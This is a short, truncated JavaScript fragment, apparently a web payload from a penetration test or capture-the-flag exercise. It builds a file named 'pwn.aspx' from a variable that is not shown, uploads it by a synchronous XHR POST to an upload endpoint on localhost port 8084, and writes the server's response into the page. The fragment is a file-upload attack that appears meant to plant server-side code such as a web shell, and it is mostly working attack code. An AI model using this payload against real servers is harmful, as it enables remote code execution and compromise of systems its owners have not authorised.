js formdata upload 8084

';var b=new Blob([c],{type:'text/plain'});var f=new FormData();f.append('files',b,'pwn.aspx');var x=new XMLHttpRequest();x.open('POST','http://127.0.0.1:8084/UploadFiles/',false);x.send(f);document.write('

st='+x.status+'\n'+x.responseText+'

');